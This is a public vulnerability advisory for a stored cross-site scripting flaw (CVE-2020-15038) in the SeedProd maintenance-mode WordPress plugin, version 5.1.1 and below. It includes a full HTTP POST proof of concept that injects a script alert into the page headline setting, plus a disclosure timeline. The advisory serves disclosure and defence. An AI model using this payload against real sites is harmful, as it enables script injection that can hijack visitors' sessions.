WordPress Maintenance Mode By SeedProd 5.1.1 Cross Site Scripting

`# Exploit Title: Wordpress Plugin Maintenance Mode by SeedProd 5.1.1 - Persistent Cross-Site Scripting  
# Date: 2020-06-22  
# Vendor Homepage: https://www.seedprod.com/  
# Vendor Changelog: https://wordpress.org/plugins/coming-soon/#developers  
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)  
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/stored-xss-coming-soon-page-maintenance-mode-plugin/  
# Author Homepage: https://www.jinsonvarghese.com  
# Version: 5.1.1 and below  
# CVE : CVE-2020-15038  
  
1. Description  
  
Coming Soon Page, Under Construction & Maintenance Mode by SeedProd is a popular WordPress Plugin with over 1 million active installations. The Headline field under the Page Settings section along with other fields in the plugin settings were found to be vulnerable to stored XSS, which gets triggered when the Coming Soon page is displayed (both in preview mode and live). All WordPress websites using Coming Soon Page, Under Construction & Maintenance Mode by SeedProd version 5.1.1 and below are affected.  
  
2. Proof of Concept  
  
POST /wp-admin/options.php HTTP/1.1  
Host: localhost:10004  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost:10004/wp-admin/admin.php?page=seed_csp4  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 636  
Origin: http://localhost:10004  
Connection: close  
Cookie: wordpress_7f1e0e8dff8818d1c2f579415daff8c7=jinson%7C1593950372%7C4GRNHaGPf0Fgg4gDEpeoNwijwEWzc3D3eVOlrvXniBi%7Cb9d2e047395f59871a0900e390bbd3d695bc5da3afb334da3d0ef5e8bf0c2f1b; wordpress_a024acb662ffd2f30d002a94ed1ea95c=jinson%7C1592914794%7CCgXYWBOtHL4ad8HOoBAQX49z08S9twTuGYVtVWqIbFp%7C01f69b63f0019268e8a42d1cefd95cd451b8ae990337af407b1caf9cb3fa99e5; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_7f1e0e8dff8818d1c2f579415daff8c7=jinson%7C1593950372%7C4GRNHaGPf0Fgg4gDEpeoNwijwEWzc3D3eVOlrvXniBi%7Cf1c8b238e06829673fea45a383730caae8b84cd0ac08b6f11fee65cd94cb8c16; PHPSESSID=44b22ef78b270abbd2351f1d858edb02; wordpress_logged_in_a024acb662ffd2f30d002a94ed1ea95c=jinson%7C1592914794%7CCgXYWBOtHL4ad8HOoBAQX49z08S9twTuGYVtVWqIbFp%7C317cd515fad907c4ae323798cca357f601c29999b20edbe8f9fdad02f35c53f7; wp-settings-time-1=1592745227; cookielawinfo-checkbox-non-necessary=yes; wp-settings-1=imgsize%3Dfull; cookielawinfo-checkbox-necessary=yes  
Upgrade-Insecure-Requests: 1  
  
option_page=seed_csp4_settings_content&action=update&_wpnonce=faced0b8ff&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dseed_csp4&seed_csp4_settings_content%5Bstatus%5D=1&seed_csp4_settings_content%5Blogo%5D=&seed_csp4_settings_content%5Bheadline%5D=%3Cscript%3Ealert%28%22Stored+XSS+in+Page+Headline%22%29%3C%2Fscript%3E&seed_csp4_settings_content%5Bdescription%5D=Proof+of+Concept&seed_csp4_settings_content%5Bfooter_credit%5D=0&submit=Save+All+Changes&seed_csp4_settings_content%5Bfavicon%5D=&seed_csp4_settings_content%5Bseo_title%5D=&seed_csp4_settings_content%5Bseo_description%5D=&seed_csp4_settings_content%5Bga_analytics%5D=  
  
3. Timeline  
  
Vulnerability reported to the SeedProd team – June 22, 2020  
Version 5.1.2 containing the fix to the vulnerability released – June 24, 2020  
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